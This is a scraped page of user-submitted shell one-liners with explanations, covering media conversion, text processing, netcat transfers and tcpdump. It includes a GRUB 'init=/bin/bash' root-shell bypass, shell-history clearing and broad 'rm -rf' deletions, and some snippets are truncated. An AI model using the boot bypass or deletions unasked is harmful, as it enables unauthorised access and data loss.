php -r 'function a(){$i=10;while($i--)echo str_repeat(" ",rand(1,79))."*".PHP_EOL;}$i=99;while($i--){a();echo str_repeat(" ",34)."Happy New Year 2011".PHP_EOL;a();usleep(200000);}'
Congratulations on new year
Requires installed command line PHP. Also, try at different dimensions of terminal window
ffmpeg -ss 5 -i video.avi -vframes 1 -s 320x240 thumb.jpg
frame= 1 fps= 0 q=4.2 Lsize= -0kB time=0.04 bitrate= -4.2kbits/s dup=0 drop=118
video:14kB audio:0kB global headers:0kB muxing overhead -100.157311%
Video thumbnail
Faster thumbnail creation than '-itsoffset'
ffmpeg -itsoffset -4 -i test.avi -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 test.jpg
nohup 2> /dev/null > /dev/null &
nohup that doesn't generate nohup.out
I'm sure this can be piped into another way. Please share!
perl -p -i -e 's/this/that/g' filename
Replace Every occurrence of a word in a file
Replace 'this' with 'that'
ubuntu-bug
Report bugs in Ubuntu
As of 10.04 LTS, you need to use this command-line to reports bugs to the launchpad.net tracking system (you need a launchpad acct for this to work). This command is preferred over using the website because it collects/sends info about your system to help developers.
ubuntu-bug is a symlink to apport-bug which sees if KDE/Gnome is running and calls apport-gtk/apport-kde dialogs, otherwise apport-cli, so you can fill out a bug report.
First run 'ubuntu-bug' without args to see a list of known symptoms. If there's no matching symptom, or you know which package is to blame, then run 'ubuntu-bug '. If the process is still running, use 'ubuntu-bug '
svn log 2>&1 | egrep '^r[0-9]+' | cut -d "|" -f2 | sort | uniq -c
Functions: cut egrep sort uniq
Get each users commit amount
nslookup -q=txt .wp.dg.cx
Functions: nslookup
if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi;
Functions: exec sudo
Force the script to be started as root
Place this code at the beginning of your script to ensure that it can only be executed by the root.
ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'
Getting the ip address of eth0
echo foo | netcat 192.168.1.2 25
got milk?
Using netcat, usuallly installed on debian/ubuntu.
Also to test against a sample server the following two commands may help
echo got milk? | netcat -l -p 25
python -c "import SocketServer; SocketServer.BaseRequestHandler.handle = lambda self: self.request.send('got milk?\n'); SocketServer.TCPServer(('0.0.0.0', 25), SocketServer.BaseRequestHandler).serve_forever()"
mount -t iso9660 /dev/cdrom /media/cdrom
mount a cdrom
Server: nc -l 1234 |tar xvfpz - ;Client: tar zcfp - /path/to/dir | nc localhost 1234
Netcat & Tar
Create a tarball on the client and send it across the network with netcat on port 1234 where its extracted on the server in the current directory.
alias irssi="screen -wipe; screen -A -U -x -R -S irssi irssi"
Bash alias for creating screen session containing IRSSI, named irssi, while checking if existing session is created
Bash alias for easy irssi within screen, attempts to attach to existing irssi session, if one exists, otherwise creates one - Including wipe for when system reboots and leaves "dead" session.
nm --dynamic
Functions: nm
List symbols from a dynamic library (.so file)
You can get what functions at which addresses are inside a dynamic link library by this tool.
awk '{print length, $0;}' | sort -nr
cat SomeFile.txt | pbcopy
Copy text to the clipboard
Great for little scripts that dig up obscure info that you are going to have to paste into another app anyway.
sed 's/^/$ /' "$script" | xclip
preprocess code to be posted in comments on this site
Assuming that $script contains the filename of a script you'd like to post as part of a comment on this site, this will prefix each line with '$' and pipe it into the X selection. From there just put the cursor in the right place in the comments box and middle-click.
Should work pretty much anywhere with xclip installed. On debian-ish systems this is installed as part of the package "xclip".
display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')
Requires display.
Corrected version thanks to sputnick and eightmillion user.
for p in `ps L|cut -d' ' -f1`;do echo -e "`tput clear;read -p$p -n1 p`";ps wwo pid:6,user:8,comm:10,$p kpid -A;done
PID USER COMMAND TPGID
1661 avahi avahi-daem -1
1662 avahi avahi-daem -1
3804 postfix pickup -1
3906 nobody httpd -1
3907 nobody httpd -1
3910 nobody httpd -1
5638 nobody httpd -1
Functions: cut echo ps
The Hidden PS
While going through the source code for the well known ps command, I read about some interesting things.. Namely, that there are a bunch of different fields that ps can try and enumerate for you. These are fields I was not able to find in the man pages, documentation, only in the source.
Here is a longer function that goes through each of the formats recognized by the ps on your machine, executes it, and then prompts you whether you would like to add it or not. Adding it simply adds it to an array that is then printed when you ctrl-c or at the end of the function run. This lets you save your favorite ones and then see the command to put in your .bash_profile like mine at : http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html
Note that I had to do the exec method below in order to pause with read.
t ()
local r l a P f=/tmp/ps c='command ps wwo pid:6,user:8,vsize:8,comm:20' IFS=' ';
trap 'exec 66
exec 66 $f && command ps L | tr -s ' ' >&$f;
while read -u66 l >&/dev/null; do
a=${l/% */};
$c,$a k -${a//%/} -A;
yn "Add $a" && P[$SECONDS]=$a;
composite -dissolve 30% -tile watermark.png input.png output.png
add repeated watermark to image
‹ First < 120 121 122 123 124 > Last ›
cpo(){ [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -ic "Connected successfully to port $2"` -gt 0 ]] && return 0 || return 1; }
Functions: echo grep return
Check if a remote port is up using dnstools.com (i.e. from behind a firewall/proxy)
Shell function; returns 0 if the port is up, 1 otherwise (check $? after executing).
First parameter: IP address/hostname
Second parameter: port number
There is no error checking for the input parameters.
du -hc *
find directory -size +nnn
Find Files That Exceed a Specified Size Limit
sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
$ sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
25M total
$ sudo find /var/log/ -mtime -7 -type f | xargs du -ch | grep total
Functions: du find sudo tail xargs
get diskusage of files modified during the last n days
get diskusage of files (in this case logfiles in /var/log) modified during the last n days:
sudo find /var/log/ -mtime -n -type f | xargs du -ch
n -> last modified n*24 hours ago
Numeric arguments can be specified as
+n for greater than n,
-n for less than n,
n for exactly n.
=> so 7*24 hours (about 7 days) is -7
ls | sed "/^/=" | sed "N;s/\n/. /"
1. bin
2. boot
3. cdrom
4. dev
5. etc
the sed way to print line numbers
curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}"
Much simpler but not as many features as the alternative.
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} + | sort -n
1105 ./intl/lock.h
1336 ./intl/loadmsgcat.c
1507 ./intl/localename.c
1689 ./intl/dcigettext.c
1961 ./intl/plural.c
4677 ./intl/vasnprintf.c
20716 total
Functions: find sort wc
The same as the other two alternatives, but now less forking! Instead of using '\;' to mark the end of an -exec command in GNU find, you can simply use '+' and it'll run the command only once with all the files as arguments.
This has two benefits over the xargs version: it's easier to read and spaces in the filesnames work automatically (no -print0). [Oh, and there's one less fork, if you care about such things. But, then again, one is equal to zero for sufficiently large values of zero.]
du -hd 1
OSX's BSD version of the du command uses the -d argument instead of --max-depth.
(netstat -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) | sort -n | uniq -u | head -n 1
Functions: awk grep head netstat seq sort uniq
perl-less way
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
sort -R
Randomizes a file. The opposite of sort is sort -R!
until ping -c1 ADDRESS;do true;done;zenity --warning --text "ADDRESS is back"
I'd rather this one on Gnome, as I'm used to be listening some music while working. I've even created a bash function which receives ADDRESS as parameter.
init=/bin/bash; mount -o remount,rw /
Functions: init mount
password recovery on debian
Appended to grub boot parameters ... gives shell ... password recovery
tree -d -I 'CVS' -f -i | sed 's/\//./g' | sed 's/\.\.//g'
print java packages by using unix tree and sed
if you need a quick way of printing out all the packages that contain classes this command will print the directory structure and replace '/' with '.'
It will also ignore CVS directories (we use CVS here)
find ~/.thunderbird/*.default/ -name *.msf -exec rm -f {} \;
Find and delete thunderbird's msf files to make your profile work quickly again.
sed -r 's_(/[^>]*?>)_\1\n_g' filename.html
quick and dirty formatting for HTML code
Finds all the closing tags in a HTML document via non-greedy regex and adds a linefeed for easier reading/editing
sed -i.bak -r 's_(/[^>]*?>)_\1\n_g' filename.html
This will save a copy of filename.html as filename.html.bak and then add the linefeeds to the original file
echo $PATH | tr : \\n
/home/piyo/bin
/home/piyo/app/bin
/usr/games
/home/piyo/AppPrefs/piyo/smallscripts
You may also want to alias it, if you need to look at it often...
alias lpath="echo \$PATH | tr : \\\\n"
"\$PATH" to make sure to look at your current $PATH
find . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp
Functions: awk cp find head sort xargs
copies 20 most recently downloaded mp3 files (such as from Miro) into a directory
Change ~/tmp to the destination directory, such as your mounted media. Change -n20 to whatever number of files to copy. It should quit when media is full. I use this to put my most recently downloaded podcasts onto my phone.
curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
gpg: key 00ED7604: "Jelle Herold (wires) " not changed
gpg: unchanged: 1
import gpg key from the web
imports a public key from the web. I know this by head.. but useful nevertheless
find . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'
Functions: awk find grep sed sum
Count the number of pages of all PDFs in current directory and all subdirs, recursively
head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
Functions: head od sed
Outputs a 10-digit random number
htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
gnu@robby:~$ htlatex tp.constit.0.0.1.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
This is pdfTeXk, Version 3.141592-1.40.3 (Web2C 7.5.6)
%&-line parsing enabled.
entering extended mode
LaTeX2e <2005/12/01>
Babel and hyphenation patterns for english, usenglishmax, dumylang, noh
yphenation, arabic, farsi, croatian, ukrainian, russian, bulgarian, czech, slov
ak, danish, dutch, finnish, basque, french, german, ngerman, ibycus, greek, mon
ogreek, ancientgreek, hungarian, italian, latin, mongolian, norsk, icelandic, i
nterlingua, turkish, coptic, romanian, welsh, serbian, slovenian, estonian, esp
eranto, uppersorbian, indonesian, polish, portuguese, spanish, catalan, galicia
n, swedish, ukenglish, pinyin, loaded.
(./tp.constit.0.0.1.tex (/usr/share/texmf-texlive/tex/latex/base/letter.cls
Document Class: letter 1999/04/29 v1.2z Standard LaTeX document class
(/usr/share/texmf-texlive/tex/latex/base/size10.clo))
(/usr/share/texmf/tex/generic/tex4ht/tex4ht.sty)
(/usr/share/texmf/tex/generic/tex4ht/usepackage.4ht)
(/usr/share/texmf-texlive/tex/generic/babel/babel.sty
(/usr/share/texmf-texlive/tex/generic/babel/frenchb.ldf
(/usr/share/texmf-texlive/tex/generic/babel/babel.def)
*************************************
* Local config file frenchb.cfg used
*
(/usr/share/texmf-texlive/tex/generic/babel/frenchb.cfg)))
(/usr/share/texmf/tex/generic/tex4ht/tex4ht.4ht
::::::::::::::::::::::::::::::::::::::::::
TeX4ht info is available in the log file
) (/usr/share/texmf/tex/generic/tex4ht/tex4ht.sty
--- needs --- tex4ht tp.constit.0.0.1 ---
(./tp.constit.0.0.1.tmp) (./tp.constit.0.0.1.xref)
(/usr/share/texmf/tex/generic/tex4ht/ooffice.4ht)
(/usr/share/texmf/tex/generic/tex4ht/unicode.4ht)
(/usr/share/texmf/tex/generic/tex4ht/mathml.4ht)
(/usr/share/texmf/tex/generic/tex4ht/ooffice-mml.4ht)
(/usr/share/texmf/tex/generic/tex4ht/latex.4ht
(/usr/share/texmf/tex/generic/tex4ht/ooffice-mml.4ht))
(/usr/share/texmf/tex/generic/tex4ht/fontmath.4ht
(/usr/share/texmf/tex/generic/tex4ht/mathml.4ht [1] [2] [3] [4] [5] [6]
[7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21]
[22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36]
[37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51]
[52]) (/usr/share/texmf/tex/generic/tex4ht/ooffice-mml.4ht))
(/usr/share/texmf/tex/generic/tex4ht/letter.4ht
(/usr/share/texmf/tex/generic/tex4ht/babel.4ht
(/usr/share/texmf/tex/generic/tex4ht/frenchb.4ht
(/usr/share/texmf/tex/generic/tex4ht/ooffice-mml.4ht)) (./tp.constit.0.0.1.aux)
(/usr/share/texmf/tex/latex/lm/t1lmr.fd) [1] (./tp.constit.0.0.1.aux) )
Output written on tp.constit.0.0.1.dvi (53 pages, 46864 bytes).
Transcript written on tp.constit.0.0.1.log.
----------------------------
tex4ht.c (2007-11-07-16:08 kpathsea)
tex4ht -f/tp.constit.0.0.1.tex
-i/usr/share/texmf/tex4ht/ht-fonts/ooffice/!
-cmozhtf
(/usr/share/texmf/tex4ht/tex4ht.env)
(/usr/share/texmf/tex4ht/ht-fonts/ooffice/charset/unicode.4hf)
(/usr/share/texmf-texlive/fonts/tfm/public/ams/cmbsy5.tfm)
(/usr/share/texmf/tex4ht/ht-fonts/alias/cm/cmbsy.htf)
Searching `cmsy.htf' for `cmbsy5.htf'
(/usr/share/texmf/tex4ht/ht-fonts/unicode/cm/cmsy.htf)
(/usr/share/texmf-texlive/fonts/tfm/public/ams/cmbsy7.tfm)
Searching `cmsy.htf' for `cmbsy7.htf'
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmbsy10.tfm)
Searching `cmsy.htf' for `cmbsy10.htf'
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmsy10.tfm)
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmsy7.tfm)
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmsy5.tfm)
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmmi10.tfm)
(/usr/share/texmf/tex4ht/ht-fonts/unicode/cm/cmmi.htf)
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmmi7.tfm)
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmmi5.tfm)
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmr10.tfm)
(/usr/share/texmf/tex4ht/ht-fonts/alias/lm/lm-rep-cmrm/cmr.htf)
Searching `lm-rep-cmrm.htf' for `cmr10.htf'
(/usr/share/texmf/tex4ht/ht-fonts/unicode/lm/lm-rep-cmrm.htf)
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmr7.tfm)
Searching `lm-rep-cmrm.htf' for `cmr7.htf'
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmr5.tfm)
Searching `lm-rep-cmrm.htf' for `cmr5.htf'
(/usr/share/texmf-texlive/fonts/tfm/public/cm/cmex10.tfm)
(/usr/share/texmf/tex4ht/ht-fonts/unicode/cm/cmex.htf)
[1] [2] [3]
[4] [5] [6] [7] [8] [9] [10] [11] [12] [13]
[14] [15] [16] [17] [18] [19] [20] [21] [22] [23]
[24] [25] [26] [27] [28] [29] [30] [31] [32] [33]
[34] [35] [36] [37] [38] [39] [40] [41] [42] [43]
[44] [45] [46] [47] [48] [49] [50] [51] [52] [53 file tp.constit.0.0.1.4oo
file tp.constit.0.0.1.tmp
file tp.constit.0.0.1-settings.4os
file tp.constit.0.0.1-styles.4oy
file tp.constit.0.0.1-manifest.4of
file tp.constit.0.0.1-meta.4ot
file tp.constit.0.0.1.4od
Execute script `tp.constit.0.0.1.lg'
adding: META-INF/ (stored 0%)
adding: META-INF/manifest.xml (deflated 66%)
adding: Pictures/ (stored 0%)
adding: content.xml (deflated 66%)
adding: meta.xml (deflated 57%)
adding: settings.xml (deflated 45%)
adding: styles.xml (deflated 89%)
t4ht.c (2008-02-25-18:56 kpathsea)
t4ht -f/tp.constit.0.0.1.tex
-coo
-cvalidate
Entering tp.constit.0.0.1.lg
System call: mkdir -p sxw-tp.constit.0.0.1.dir
System return: 0
System call: mv tp.constit.0.0.1.4oo sxw-tp.constit.0.0.1.dir/content.xml
System call: mkdir -p sxw-tp.constit.0.0.1.dir/Pictures
System call: mv tp.constit.0.0.1-settings.4os sxw-tp.constit.0.0.1.dir/settings.xml
System call: mv tp.constit.0.0.1-styles.4oy sxw-tp.constit.0.0.1.dir/styles.xml
System call: mkdir -p sxw-tp.constit.0.0.1.dir/META-INF
System call: mv tp.constit.0.0.1-manifest.4of sxw-tp.constit.0.0.1.dir/META-INF/manifest.xml
System call: mv tp.constit.0.0.1-meta.4ot sxw-tp.constit.0.0.1.dir/meta.xml
System call: cd sxw-tp.constit.0.0.1.dir; zip -r tp.constit.0.0.1.odt * ; cd ..
System call: mv sxw-tp.constit.0.0.1.dir/tp.constit.0.0.1.odt .
System call: rm tp.constit.0.0.1.4od
System call: rm -r -f sxw-tp.constit.0.0.1.dir
convert a latex source file (.tex) into opendocument (.odt ) format
require the tex4ht package . You can open the file with openoffice , I use it much for correct my spelling and grammar .
Resets a terminal that has been messed up by binary input
yes "text" | annoying_installer_program # "text" defaults to the letter y
Repeatedly send a string to stdout-- useful for going through "yes I agree" screens
mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov
remove audio trac from a video file
create a copy of a video file without the audio tracs
‹ First < 121 122 123 124 125 > Last ›
pbpaste | tidy -xml -wrap 0 | pbcopy
OSX command to take badly formatted xml from the clipboard, cleans it up and puts it back into the clipboard.
This command can be used with xclip or xsel for use on a linux box.
ping -q -c1 -w3 server.example.com >& /dev/null || echo server.example.com ping failed | mail -ne -s'Server unavailable' admin@example.com
For some reason the 2&>1 does not work for me, but the shorter stdout/stderr redirection >& works perfectly (Ubuntu 10.04).
alias differ='sdiff --suppress-common-lines'
bash alias for sdiff: differ
this is just okey
rm -r .[!.]*
-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT
How to stop MAC Address via IPTables
edit the /etc/sysconfig/iptables file and try to work whit this:
-A INPUT -i (interface) -m mac (mac address) -j ACCEPT/DROP
date --date=yesterday +%Y%m%d
me@my-laptop:~$ date
Wed Sep 8 17:55:57 IST 2010
me@my-laptop:~$ date --date=yesterday +%Y%m%d
20100907
Format date/time string for a different day
The "date' command has options to easily format the date, day, month, time, etc. But what if you want a relative date or time. Like, I wanted yesterday's date in a particular format. You may want the exact date of "2 months ago" or "-3 days" nicely formatted. For that, you can use this command. The --date option takes fuzzy parameters like the ones mentioned in the previous sentence.
sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
sudo route add 65.21.34.4 gw 127.0.0.1 lo
Functions: route sudo
Someone might attack on your system. You can drop attacker IP using IPtables. However, you can use route command to null route unwanted traffic. A null route (also called as blackhole route) is a network route or kernel routing table entry that goes nowhere. Matching packets are dropped (ignored) rather than forwarded, acting as a kind of very limited firewall. The act of using null routes is often called blackhole filtering.
rpm -q --qf "%{VERSION}\n" redhat-release
5Server
In this case, I'm getting the package version for 'redhat-release', but of course, this can be applied to any package installed on the filesystem. This is very handy in scripts that need to determine just the version of the package, without the package name and all the sed and grep hackery to get to the data you want. To find out all the support format strings that 'rpm --qf' supports:
rpm --querytags
ping -q -c 1 www.google.com|awk -F/ 'END{print $5}'
find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n
Functions: find sed sort uniq xargs
sort through source to find most common authors
php -r phpinfo();
Run the function phpinfo() on the shell
seq 1000 | paste -sd+- | bc
Functions: paste seq
1+2-3+4-5+6-7 Series
/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'
List apache2 virtualhosts
Lists virtualhosts currently enabled for apache2, showing the ServerName:port, conf file and DocumentRoot
dstat -afv
dstat -afv
Terminal width too small, trimming output.
-------cpu0-usage--------------cpu1-usage------ --dsk/sda-- --net/ppp0- ---paging-- ---system-- ---procs--- ---paging-->
usr sys idl wai hiq siq:usr sys idl wai hiq siq| read writ| recv send| in out | int csw |run blk new| in out >
dstat- this command is powerful one to monitor system activity . It has combined the power of vmstat,iostat,mpstat,df,free,sar .
As mentioned in the summery that it is a powerful command to monitor system activity in great way. It has got the power of vmstat,iostat,mpstat,df,free and sar.Instead of firing each single command separately ,one can fire one single command to get all the info at once.But there is a way to get the individual information too. Please see the man page . You can get it from here : http://dag.wieers.com/home-made/dstat/
tempfile=$(/bin/mktemp)
Create a temporary file
To create directory, use:
tempdir=$(/bin/mktemp -d)
find . -printf '%d\n' | sort -n | tail -1
Functions: find sort tail
Find directory depth
Returns a the directory depth.
find / -xdev -print | cpio -pdmuv /mnt/mydisk
1:1 copy of a volume
copies all files from the source disk / (skipping boundaries of mouted -in volumes) to /mnt/mydisk. Logical links are being preserved as well as devices, pipes etc. This can copy a MacOS X or Linux volume and keep it bootable. Note: its not suited to copy files with MacOS 9 style resources.
cdrecord dev=0,0,0 -v -eject yourimage.iso
Burn CD/DVD from an iso, eject disc when finished.
cdrecord -scanbus will tell you the (x,y,z) value of your cdr (for example, mine is 3,0,0)
curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'
14370790
Which Twitter user are you?
This will tell you which twitter user you are chronologically. For example, a number of 500 means you were the 500th user to create a twitter account.
ssh -NL 2000:remotehost:22 remotehost
Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
:set nomore :argdo %s/foo/bar/g | update
%s across multiple files with Vim
src: http://www.ibrahim-ahmed.com/2008/01/find-and-replace-in-multiple-files-in.html
GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
GeoipLookUp 89.201.44.45
IP: 89.201.44.45 Location:
riga, RIGA, Latvia [LV] (Baltkom)
That makes a function you can put in your ~/.bashrc to run it when you need in any term with an IP as argument
jar -tf file.jar
META-INF/
META-INF/MANIFEST.MF
WEB-INF/
WEB-INF/classes/
WEB-INF/jsp/
WEB-INF/lib/
WEB-INF/applicationContext.xml
WEB-INF/dispatcher-servlet.xml
WEB-INF/jboss-web.xml
WEB-INF/jsp/index.jsp
WEB-INF/lib/antlr-2.7.2.jar
WEB-INF/lib/bsf-2.3.0.jar
WEB-INF/lib/cglib-2.2.jar
WEB-INF/lib/commons-beanutils-1.7.0.jar
WEB-INF/lib/commons-chain-1.1.jar
WEB-INF/lib/commons-digester-1.8.jar
WEB-INF/lib/commons-fileupload-1.1.1.jar
WEB-INF/lib/commons-io-1.1.jar
WEB-INF/lib/commons-logging-1.0.4.jar
WEB-INF/lib/commons-logging-1.1.jar
WEB-INF/lib/commons-validator-1.3.1.jar
WEB-INF/lib/jstl-1.0.2.jar
WEB-INF/lib/oro-2.0.8.jar
WEB-INF/lib/spring-2.5.jar
WEB-INF/lib/spring-webmvc-2.5.jar
WEB-INF/lib/standard-1.0.2.jar
WEB-INF/lib/struts-core-1.3.8.jar
WEB-INF/lib/struts-el-1.3.8.jar
WEB-INF/lib/struts-extras-1.3.8.jar
WEB-INF/lib/struts-faces-1.3.8.jar
WEB-INF/lib/struts-mailreader-dao-1.3.8.jar
WEB-INF/lib/struts-scripting-1.3.8.jar
WEB-INF/lib/struts-taglib-1.3.8.jar
WEB-INF/lib/struts-tiles-1.3.8.jar
WEB-INF/web.xml
redirect.jsp
List contents of jar
useful to find the list of dependencies
ls -1 | shuf -n 1
random file from files in directory
date -d2009-05-18 > /dev/null 2>&1 ; echo $?
Validate date, also a date within a leap year
Important to know: a valid date will return 0, otherwise 1!
‹ First < 122 123 124 125 126 > Last ›
sudo tune2fs -m 1 /dev/sda4
Functions: sudo tune2fs
Setting reserved blocks percentage to 1%
According to tune2fs manual, reserved blocks are designed to keep your system from failing when you run out of space. Its reserves space for privileged processes such as daemons (like syslogd, for ex.) and other root level processes; also the reserved space can prevent the filesystem from fragmenting as it fills up. By default this is 5% regardless of the size of the partition.
http://www.ducea.com/2008/03/04/ext3-reserved-blocks-percentage/
history -c
Clear current session history (bash)
TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0
Functions: exit mktemp trap
Cleanly manage tempfiles in scripts
Cleanly create tempfiles using mktemp and remove them using traps instead of removing them in the end of the script. This way, you make sure the tempfiles are removed properly even if the script is killed or interrupted.
For a user script in KDE4, you can set TMPROOT using :
TMPROOT=$(kde4-config --path tmp)
alias restart='apache2ctl configtest && apache2ctl restart'
restart apache only if config works
making lots of configurations to apache and restarting the server only to find it broken just plain sucks.
i=0;for s in `fuser -l`;do echo $((i++)) $s;done
grep -Fvf file1 file2 > file-new
Remove text from file1 which is in file2 and stores it in an other file
This command compares file2 with file1 and removes the lines that are in file1 from file2. Handy if you have a file where file1 was the origional and you want to remove the origional data from your file2.
sed -e :a -e '/$/N;s/\n/ /;ta'
line1
line2
lineN
becomes: line1 line2 ... lineN
Concatenates lines using sed
lsof -bw -d cwd -a -c java
show the working directories of running processes
this shows the CWD of every running `java' command. YMMV but we often switch to a working directory for each service to start and run from there -- therefore this quicly shows what is running by a more meaningful name than command alone (the -bw prevents using blocking system calls which speeds this up quite a bit in the presence of remote mounted filesystems)
for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done
convert all files in a dir of a certain type to flv
This converts all m4a files in a dir to flv. You can just swap the m4a bit to anything else ffmpeg supports though, and it'll work.
vlc -I ncurses
Vlc ncurses mode browsing local directorys.
checkrestart
This command can be installed in debian by the package debian-goodies. It also outputs the /etc/init.d/ commands that you need to do.
echo | sudo dd of=/proc/acpi/video/VGA/LCD/brightness
Functions: dd echo sudo
An alternative which does not require to be root
lsof -Pn | grep LISTEN
tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp
Getting started with tcpdump
At some point you want to know what packets are flowing on your network. Use tcpdump for this. The man page is obtuse, to say the least, so here are some simple commands to get you started.
-n means show IP numbers and don't try to translate them to names.
-l means write a line as soon as it is ready.
-i eth0 means trace the packets flowing through the first ethernet interface.
src or dst w.x.y.z traces only packets going to or from IP address w.x.y.z.
port 80 traces only packets for HTTP.
proto udp traces only packets for UDP protocol.
Once you are happy with each option combine them with 'and' 'or' 'not' to get the effects you want.
telnet somehost 1234, close
# telnet somehost 1234
# ^c^c^z^x
# # Still connected...
You are stuck with testing a tcp port using telnet, and must kill the telnet session from another terminal... Or, press ctrl+5 and write close/quit to force the current connection to close..
cssh 192.168.125.{1..200}
Combine cssh and shell expansion to execute commands on a large cluster
This will open an awful lot of little windows, but is quite useful if you want to quickly patch something on a cluster of servers.
pdftk pdfname.pdf cat 1E output outputname.pdf
new file : outputname.pdf
rotate a one page pdf to 90 Degrees Clockwise
This can be taken from the pdftk docs
http://www.pdflabs.com/docs/pdftk-man-page/
http://www.pdflabs.com/docs/pdftk-cli-examples/
, but the command examples are not simple.
svn propset svn:executable ON filename
property 'svn:executable' set on 'filename'
Set executable permissions on a file under Subversion
This avoids the "chmod +x filename" after performing a check out or export.
From http://snipplr.com/view/5277/set-executable-permissions-on-a-file-under-subversion/
mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm
Functions: mailx
Email HTML content
Note, this works because smtp is running
while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]")
Functions: dd echo grep read sleep tr true
Same as above but slooooow it down
tar cfz backup-$(date --iso).tar.gz somedirs
Create a tar file with the current date in the name.
lsusb -s :`lsusb | grep iPhone | cut -d ' ' -f 4 | sed 's/://'` -v | grep iSerial | awk '{print $3}'
<40 HEX-chars>
Functions: awk cut grep lsusb sed
Show UDID of iPhone
nc -l 8000
GET / HTTP/1.0
User-Agent: w3m/0.5.2
Accept: text/html, text/*;q=0.5, image/*, audio/*, application/*
Accept-Encoding: gzip, compress, bzip, bzip2, deflate
Accept-Language: en;q=1.0
Host: localhost:8000
Have netcat listen on port 8000, point browser to http://localhost:8000/ and you see the information sent. netcat terminates as soon as your browser disconnects.
I tested this command on my Fedora box but linuxrawkstar pointed out that he needs to use
nc -l -p 8000
instead. This depends on the netcat version you use. The additional '-p' is required by GNU netcat that for example is used by Debian but not by the OpenBSD netcat port used by my Fedora system.
dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size
Get info on RAM Slots and Max RAM.
tr -c -d 0-9 < /dev/urandom | head -c 10
‹ First < 123 124 125 126 127 > Last ›
if (nc -zw2 www.example.com 80); then echo open; fi
Requires netcat.
ps aux | sort --key=11 | uniq -c -d --skip-fields=10 | sort -nr --key=1,1
find duplicate processes
This command will allow to search for duplicate processes and sort them by their run count. Note that if there are same processes run by different users you'll see only one user in the result line, so you'll need to do:
ps aux | grep
to see all users that run this command.
svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
delete unversioned files in a checkout from svn
curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
get delicious bookmarks on your shell (text version :-))
a variation of avi4now's command - thanks by the way!
img test.jpg
Preview of a picture in a terminal
This command allows you to see a preview of a picture via the terminal. It can be usefull when you are ssh'ing your server without X-forwarding.
To have en example of the output you can get with this command see http://www.vimeo.com/3721117
Sources here: http://inouire.net/archives/image-couleur_source.tar.gz
